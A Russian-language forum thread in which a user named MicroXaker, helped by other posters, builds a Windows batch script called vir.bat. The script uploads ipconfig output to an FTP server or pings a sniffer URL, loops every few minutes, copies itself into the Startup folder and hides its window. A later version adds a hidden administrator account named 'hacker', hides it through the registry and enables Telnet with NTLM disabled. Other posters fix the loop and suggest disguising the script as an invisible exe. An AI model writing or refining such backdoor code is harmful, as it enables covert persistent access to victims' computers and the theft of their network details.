РЕШЕНО: Вопрос по .bat
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
РЕШЕНО: Вопрос по .bat - 2010-11-08 21:04:08.163333
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
Вот код, который шлёт IP на FTP. CLS
echo OPEN ftp.server.com >ftp
echo login>>ftp
echo pass>>ftp
echo put stat>>ftp
echo bye>>ftp
ipconfig /all >> stat
ftp -s:ftp
del ftp
del stat
del %0 Как мне сделать так, чтобы он прописался в автозагрузку и выполнялся каждые 60 минут? Какие строчки нужно добавить? Пожалуйста, войдите в положение. Не посылайте на… гугл.
|
|
|
RE: Вопрос по .bat - 2010-11-08 21:10:36.050000
|
|
|
Sрam
Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
|
Так тебе в автозагрузку или что-бы каждые 60 секунд он запускался?
|
|
|
RE: Вопрос по .bat - 2010-11-08 22:06:52.740000
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
Мне и то и другое, только не 60 секунд, а 60 минут, т.е. каждый час + в автозагрузку, чтобы при следующем запуске тоже каждый час отсылалось. Так можно сделать?
|
|
|
RE: Вопрос по .bat - 2010-11-08 22:20:24.756666
|
|
|
Sрam
Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
|
Вот тут поищи: http://www.windowsfaq.ru/content/category/3/7/45/ ЗЫ у мну голова уже просто не варит)
|
|
|
RE: Вопрос по .bat - 2010-11-08 22:25:40.573333
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
Спасибо, конечно, но я уже смотрел здесь…ничего тут толкового нет.
|
|
|
RE: Вопрос по .bat - 2010-11-08 23:01:22.120000
|
|
|
Sрam
Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
|
http://forum.xakep.ru/m_1008858/tm.htm Для цикла юзай пинг!
|
|
|
RE: Вопрос по .bat - 2010-11-08 23:16:58.393333
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
Вот так - ping -n 20 127.0.0.1? Но разве это будет выполнять батник каждые n минут? Просто задержка - это не совсем то что нужно.
|
|
|
RE: Вопрос по .bat - 2010-11-08 23:18:58.730000
|
|
|
Sрam
Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
|
Гмм -w 20 (2о секунд)
|
|
|
RE: Вопрос по .bat - 2010-11-08 23:30:59.973333
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
Но это же пинг. А зачем мне пинг?
|
|
|
RE: Вопрос по .bat - 2010-11-08 23:39:22.656666
|
|
|
Sрam
Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
|
Задержка нужная перед отправкой " IP на FTP.!"
|
|
|
RE: Вопрос по .bat - 2010-11-08 23:41:32.530000
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
Т.е. вот так? CLS
echo OPEN ftp.server.com >ftp
echo login>>ftp
echo pass>>ftp
echo put stat>>ftp
echo bye>>ftp
ipconfig /all >> stat
ftp -s:ftp
del ftp
del stat
del %0
ping -w 200 127.0.0.1 И батник будет выполняться каждые 2 минуты?
|
|
|
RE: Вопрос по .bat - 2010-11-08 23:45:35.566666
|
|
|
Sрam
Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
|
Ну ты его запускать пробовал?
|
|
|
RE: Вопрос по .bat - 2010-11-08 23:49:56.003333
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
Нет.
|
|
|
RE: Вопрос по .bat - 2010-11-08 23:55:04.130000
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
Один раз отослало, больше не шлёт. Значит что-то не то. А может он просто заменяет файл? Щас проверю…
|
|
|
RE: Вопрос по .bat - 2010-11-08 23:58:44.170000
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
Нет, не робит. Один и тот же IP. А должен быть уже другой. У меня динамический.
|
|
|
RE: Вопрос по .bat - 2010-11-09 07:34:01.633333
|
|
|
Ltonid
Сообщений: 4970
Оценки: 740
Присоединился: 2008-12-29 13:21:56.166666
|
:START
CLS
echo OPEN ftp.server.com >ftp
echo login>>ftp
echo pass>>ftp
echo put stat>>ftp
echo bye>>ftp
ipconfig /all >> stat
ftp -s:ftp
del ftp
del stat
del %0
ping -w 200 127.0.0.1
goto START ТЫ ДАЖЕ НЕ ЧИТАЛ http://www.windowsfaq.ru/content/view/729/45/
|
|
|
RE: Вопрос по .bat - 2010-11-09 09:43:13.793333
|
|
|
namepunk
Сообщений: 2732
Оценки: 184
Присоединился: 2009-09-15 13:35:36.866666
|
del %0 в цикле стоит убрать наверное ;)
|
|
|
RE: Вопрос по .bat - 2010-11-09 09:58:22.693333
|
|
|
Sрam
Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
|
quote:
ORIGINAL: namepunk del %0 в цикле стоит убрать наверное ;) Ну это уже задумка автора) Мы лишь ему объяснили как делать цикл)
|
|
|
RE: Вопрос по .bat - 2010-11-10 14:19:26.180000
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
Всем спасибо, всё работает. Вот что у меня получилось: :START
CLS
echo OPEN ********* >ftp
echo ********>>ftp
echo ********>>ftp
echo put stat>>ftp
echo bye>>ftp
ipconfig /all >> stat
ftp -s:ftp
del ftp
del stat
ping -w 200 127.0.0.1
goto START
copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка" А вот последняя строчка будет работать? И еще, никто не знает, как получить внешний IP, ото этот код присылает ipconfig, в котором нет внешнего, а только внутренний!? P.S. На ПК прислался внешний, а на ноуте нет, почему так!? Спасибо.
|
|
|
RE: Вопрос по .bat - 2010-11-10 17:49:54.756666
|
|
|
namepunk
Сообщений: 2732
Оценки: 184
Присоединился: 2009-09-15 13:35:36.866666
|
Последняя строчка работать не будет т.к. 1. она не в цикле, соотв. никогда не будет выполняться 2. Кодировка должны быть dos
|
|
|
RE: Вопрос по .bat - 2010-11-10 18:00:55.220000
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
А я ее специально из цикла убрал, чтоб она каждые 20 минут не выполнялось. Ведь добавление в автозагрузку нужно один раз. В блокноте нельзя писать этот батник? :START
CLS
echo OPEN ********* >ftp
echo ********>>ftp
echo ********>>ftp
echo put stat>>ftp
echo bye>>ftp
ipconfig /all >> stat
ftp -s:ftp
del ftp
del stat
ping -w 200 127.0.0.1
copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка"
goto START
|
|
|
RE: Вопрос по .bat - 2010-11-10 19:20:52.350000
|
|
|
Ltonid
Сообщений: 4970
Оценки: 740
Присоединился: 2008-12-29 13:21:56.166666
|
quote:
В блокноте нельзя писать этот батник? Боюсь спросить, а где ты его пишешь?)) Обычно в блокноте и пишут. А по поводу внешнего, так ipconfig не выдает внешний если его нету там где мониторчики, это чтобы было проще понять.
|
|
|
RE: Вопрос по .bat - 2010-11-10 21:30:19.063333
|
|
|
Sрam
Сообщений: 2863
Оценки: 372
Присоединился: 2009-01-16 15:23:43.276666
|
quote:
ORIGINAL: Ltonid quote:
В блокноте нельзя писать этот батник? Боюсь спросить, а где ты его пишешь?)) Обычно в блокноте и пишут. А по поводу внешнего, так ipconfig не выдает внешний если его нету там где мониторчики, это чтобы было проще понять. Я боюсь предположить что автор это делает в ворде…
|
|
|
RE: Вопрос по .bat - 2010-11-11 12:29:01.200000
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
quote:
Я боюсь предположить что автор это делает в ворде… Разумеется, я не делаю это в ворде)) Просто меня смутила DOS-кодировка. Я тут нашёл другой код получения IP (через снифер) Я вот так хочу сделать: :START
rundll32 url.dll, FileProtocolHandler http://httpz.ru/********.gif
ping -w 200 127.0.0.1
copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка"
cmdow @ /HID
goto START То вот эта строчка - cmdow @ /HID должна скрыть это окно? Т.е. вот этот батник :START
rundll32 url.dll, FileProtocolHandler http://httpz.ru/********.gif
ping -w 200 127.0.0.1
copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка"
cmdow @ /HID
goto START залезает в автозагрузку и отсылает IP на на сниффер каждые 20 минут? А если добавить Telnet, то у меня получилось так: chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы support /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v hacker /t REG_DWORD /d 00000000
sc config tlntsvr start= auto
tlntadmn config port=23 sec=-NTLM
net start Telnet
:START
copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка"
cmdow @ /HID
rundll32 url.dll, FileProtocolHandler http://httpz.ru/*мой_алиас*.gif
ping -w 200 127.0.0.1
goto START Значит этот код полностью доработан - отсылает ip на снифер, открывает telnet, залезает в автозагрузку и выполняется каждые 20 минут?
|
|
|
RE: Вопрос по .bat - 2010-11-12 13:53:06.803333
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
Люди, не пахает. :START
copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка"
rundll32 url.dll, FileProtocolHandler http://httpz.ru/*мой_алиас*.gif
ping -w 200 127.0.0.1
goto START Ссылка открывается каждые 5 секунд. Пробовал увеличить время пинга. Не получается. Все равно тоже самое. cmdow @ /HID - вот эта строчка вообще не работает.
|
|
|
RE: Вопрос по .bat - 2010-11-12 14:21:11.656666
|
|
|
namepunk
Сообщений: 2732
Оценки: 184
Присоединился: 2009-09-15 13:35:36.866666
|
quote:
ping -w 200 127.0.0.1 1. Пинговать с -w нужно заведомо нерабочий хост. (192.255.255.255 например), типо ping -n 1 -w 20000 192.255.255.255 2. время -w в миллисекундах -w 20000 = 20 секунд. 3. вынеси из цикла copy vir.bat "%USERPROFILE%\Главное меню\Программы\Автозагрузка"
|
|
|
RE: Вопрос по .bat - 2010-11-30 21:59:58.110000
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
UP
|
|
|
RE: Вопрос по .bat - 2010-12-01 17:55:15.840000
|
|
|
namepunk
Сообщений: 2732
Оценки: 184
Присоединился: 2009-09-15 13:35:36.866666
|
vir.bat попробуй так
|
|
|
RE: Вопрос по .bat - 2010-12-01 18:32:44.653333
|
|
|
MicroXaker
Сообщений: 1772
Оценки: 45
Присоединился: 2010-11-08 16:42:18.190000
|
В батнике HTML код страницы загрузки. А тот код который ты выкладывал 5 минут назад - не работает. Консоль не скрывает и в автозагрузку не залезает((
|
|
|
RE: Вопрос по .bat - 2010-12-02 11:27:14.246666
|
|
|
namepunk
Сообщений: 2732
Оценки: 184
Присоединился: 2009-09-15 13:35:36.866666
|
У меня этот батник ложит файл в автозагрузку без проблем. Скрыть проще всего через bat-to-exe конвертер. Сконвертировать в exe указав опцию invisible.
|
|
|
|
|